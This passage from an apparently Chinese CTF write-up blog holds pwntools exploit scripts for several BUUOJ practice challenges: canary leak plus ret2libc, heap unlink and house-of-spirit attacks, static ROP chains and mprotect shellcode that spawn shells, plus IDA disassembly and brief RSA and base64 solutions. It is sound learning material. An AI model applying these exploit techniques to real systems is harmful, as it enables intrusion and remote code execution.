shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)

p.interactive()

bjdctf_2020_babyrop2——ret2libc3+fmtstr+canary

算是栈溢出系列的一个小综合吧,利用格式化字符串泄露canary值,然后进行常规rop和64位的ret2libc,总体来说难度不大。(主要是想要贴一下自己现在的代码框架,个人感觉还不错)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import sys

def exploit():
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
pop_rdi = 0x400993
ret = 0x4005f9

io.recvuntil('to help u!\n')
io.sendline('%7$p')
canary = int(io.recv(18),16)
log.success('canary-->'+hex(canary))

io.recvuntil('u story!\n')
payload1 = b'a'*24 + p64(canary) + p64(0)
payload1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(payload1)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0')) - libc.sym['puts']
log.success('libc_base-->'+hex(libc_base))

sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a'*24 + p64(canary) + p64(0)
payload2 += p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.sendline(payload2)


if __name__ == "__main__":
io = process(sys.argv[1])
elf = ELF(sys.argv[1])

if sys.argv.__len__() == 2:
libc = ELF('/home/junyu33/Desktop/libc/libc.so.6')
elif sys.argv[2] == 'debug':
gdb.attach(io, 'b *0x4008d9')
elif sys.argv[2] == 'remote':
libc = ELF('/home/junyu33/Desktop/libc/libc-2.23-x64.so')
io = remote('node4.buuoj.cn', 27078)

context(arch='amd64', os='linux', log_level='debug')

#pause()
exploit()

io.interactive()

[ZJCTF 2019]EasyHeap——House of spirit

等理解了之后再补注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import sys
elf_path = '/home/junyu33/Desktop/easyheap'
ld_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so'
libc_path = '/home/junyu33/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'

def alloc(size, content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap:', content)

def fill(index, size, content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap : ', content)

def free(index):
io.sendlineafter('choice :', str(3))
io.sendlineafter('Index :', str(index))



def spirit():
alloc(0x90, 'AAAA')
alloc(0x90, 'BBBB')
alloc(0x20, '/bin/sh\x00')

#pause()

heaparray = 0x6020e0
fake_chunk = p64(0) + p64(0x91) + p64(heaparray - 0x18) + p64(heaparray - 0x10)
fake_chunk = fake_chunk.ljust(0x90, b'C')
fake_chunk += p64(0x90) + p64(0xa0)

fill(0, 0x100, fake_chunk)
#pause()

free(1)
#pause()

def exploit():
system_plt = elf.plt['system']
free_got = elf.got['free']

payload = b'D'*0x18 + p64(free_got)
fill(0, 0x20, payload)
fill(0, 8, p64(system_plt))

#pause()

free(2)



if __name__ == '__main__':
io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
elf = ELF(elf_path)
libc = ELF(libc_path)

if(sys.argv.__len__() > 1):
if sys.argv[1] == 'debug':
gdb.attach(io, 'b *0x4008d9')
elif sys.argv[1] == 'remote':
io = remote('node4.buuoj.cn', 27270)

context(arch='amd64', os='linux', log_level='debug')

spirit()
exploit()

io.interactive()

cmcc_simplerop

静态链接查看方式:file命令。

method 1——manual rop

这个rop将read函数交给用户来输入,属于先前未见过的类型,比较巧妙。

1
2
3
4
5
6
7
8
9
10
11
12
def exploit():
read = 0x806cd50
pop_edx_ecx_ebx = 0x806e850
pop_eax = 0x80bae06
int_80 = 0x080493e1
buf = 0x80ec304 # any address inside the program is OK.

payload = flat([b'a'*32, read, pop_edx_ecx_ebx, 0, buf, 8]) #8 is len('/bin/sh\0')
payload += flat([pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, buf])
payload += flat(int_80)
io.sendline(payload)
io.sendline(b'/bin/sh\0')

method 2——ropper execve

虽然ropper生成的rop比ROPgadget要短一些,但依旧达不到read的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def exploit():
p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = b'a'*32

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'//bi'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'n/sh'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
io.sendline(rop)

这时候需要手动魔改一下,先前学的汇编知识就派上用场了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def exploit():
p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = b'a'*32

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += b'/sh\0'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;

rop += p(0x806e850) # 0x806e850: pop edx; pop ecx; pop ebx; ret;
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a2060)

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;

print(len(rop))
io.sendline(rop)

长度刚好100,可以通过。

method 3——mprotect+shellcode

int mprotect(const void *start, size_t len, int prot);

第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;第二参数也需要是内存页的整数倍;第三个是开辟的内存属性,7代表可读可写可执行。

https://blog.csdn.net/A951860555/article/details/115286266

1
2
3
4
5
6
7
8
9
10
11
12
13
def exploit():
read = 0x806cd50
mprotect = 0x806d870
buf = 0x8050000 # must be multiple of 0x1000
pop_edx_ecx_ebx = 0x806e850
shellcode = asm(shellcraft.sh())

payload = flat([b'a'*32, mprotect, pop_edx_ecx_ebx, buf, 0x1000, 7])
payload += flat([read, pop_edx_ecx_ebx, 0, buf, len(shellcode)])
payload += flat(buf)

io.sendline(payload)
io.sendline(shellcode)

wustctf2020_getshell_2——system call

本来以为需要搞栈迁移,结果一个system call就搞好了,节省了4字节的空间。

1
2
system_call = 0x8048529
payload = 'a'*28 + p32(system_call)+p32(0x08048670)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def exploit():
buf = 0x602140

alloc(0x100)
alloc(0x30)
alloc(0x80)

payload = p64(0) + p64(0x20) + p64(buf+16-0x18) + p64(buf+16-0x10) + p64(0x20)
payload = payload.ljust(0x30, b'a')
payload += p64(0x30) + p64(0x90)
edit(2, len(payload), payload)
free(3)

payload = b'a'*8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['puts']
log.success('libc_base-->'+hex(libc_base))
sys = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = p64(sys)
edit(2, len(payload), payload)
io.send(p64(binsh))

[ZJCTF 2019]Login

小技巧:在伪代码的页面按Tab可以切换到汇编代码。

其实是一道C++逆向,看起来有点麻烦,segmentation fault的原因是执行了call rax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
lea     rdx, [rbp+s]
lea rax, [rbp+s]
mov rcx, rdx
mov edx, offset format ; "Password accepted: %s\n"
mov esi, 50h ; 'P' ; maxlen
mov rdi, rax ; s
mov eax, 0
call _snprintf
lea rax, [rbp+s]
mov rdi, rax ; s
call _puts
mov rax, [rbp+var_68]
mov rax, [rax]
mov rax, [rax]
call rax
jmp short loc_400A62

[rbp+var_68]又是函数的第一个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(void (***)(void), const char *, const char *)
_ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ proc near

; __unwind {
push rbp
mov rbp, rsp
add rsp, 0FFFFFFFFFFFFFF80h
mov [rbp+var_68], rdi ; HERE!!!
mov [rbp+s1], rsi
mov [rbp+s2], rdx
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov rdx, [rbp+s2]
mov rax, [rbp+s1]
mov rsi, rdx ; s2
mov rdi, rax ; s1
call _strcmp
test eax, eax
jnz short loc_400A58

回到main函数,可以看到_Z16password_checkerPFvvE的返回值传给了[rbp+var_130],最后作为了_ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_,也就是上一个函数的第一个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lea     rax, [rbp+var_131]
mov rdi, rax
call _ZZ4mainENKUlvE_cvPFvvEEv ; main::{lambda(void)#1}::operator void (*)(void)(void)
mov rdi, rax ; void (*)(void)
call _Z16password_checkerPFvvE ; password_checker(void (*)(void)) ; HERE!!!
mov [rbp+var_130], rax
mov edi, offset login ; this
call _ZN4User13read_passwordEv ; User::read_password(void)
lea rax, [rbp+var_120]
mov rdi, rax ; this
call _ZN4User12get_passwordEv ; User::get_password(void)
mov rbx, rax
mov edi, offset login ; this
call _ZN4User12get_passwordEv ; User::get_password(void)
mov rcx, rax
lea rax, [rbp+var_130]
mov rdx, rbx
mov rsi, rcx
mov rdi, rax
call _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ; password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(char const*,char const*)
mov eax, 0

进入_Z16password_checkerPFvvE查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; __int64 __fastcall password_checker(void (*)(void))
public _Z16password_checkerPFvvE
_Z16password_checkerPFvvE proc near

var_18= qword ptr -18h
var_8= qword ptr -8

; __unwind {
push rbp
mov rbp, rsp
mov [rbp+var_18], rdi
mov [rbp+var_8], 0
lea rax, [rbp+var_18]
pop rbp
retn
; } // starts at 400A79
_Z16password_checkerPFvvE endp

可以看到返回值是[rbp+var_18]

由于这几个函数都是main的同一级子函数,所以栈的相对位置不会改变,可以在输入密码的时候将[rbp+var_18]溢出为shell的地址,从而拿到shell。

babyfengshui_33c3_2016

程序去除超时限制——用isnan函数替换alarm函数。

1
sed -i s/alarm/isnan/g ./ProgrammName

other

buu-re: rsa

真不知道这道题为什么要放在re里面。

已知公钥pub.key和密文flag.enc,而且公钥较小可暴力分解p、q。

  1. openssl rsa -pubin -text -modulus -in pub.pem获取$e$和$n$.

  2. 使用factordb分解$n$,得到$p$与$q$.

  3. python rsatool.py -o private.pem -e <your e> -p <your p> -q <your q>输出密钥。

    适配python3的rsatool的下载地址:https://github.com/ius/rsatool

  4. openssl rsautl -decrypt -in flag.enc -inkey private.pem获得原文。

tqlctf2022-misc: wizard

哈希碰撞 + 瞎蒙答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

for i in range (100):
r=remote('120.79.12.160', 32517)
context.log_level = 'debug'

fo = open('./1.txt','r')
r.recvuntil('h ')
req = bytes(r.recv(6))
ti = 0
for j in fo:
j = bytes(j, 'utf-8')
if j == req:
#print(ti)
ti += 1000000
r.sendline(str(ti))
r.recv()
r.recv()
#r.recvuntil('\n')
r.sendline('G 100') # I chose '100' arbitrarily
r.recvuntil('You are ')
#print(r.recv(1))
if r.recv(1) == b's':
r.interactive()
break
ti += 1

xctf-mobile-(beginner)-6: easy-apk

换表base64,上python脚本

1
2
3
4
5
6
7
8
9
import base64
import string

str1 = "5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs="

string1 = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))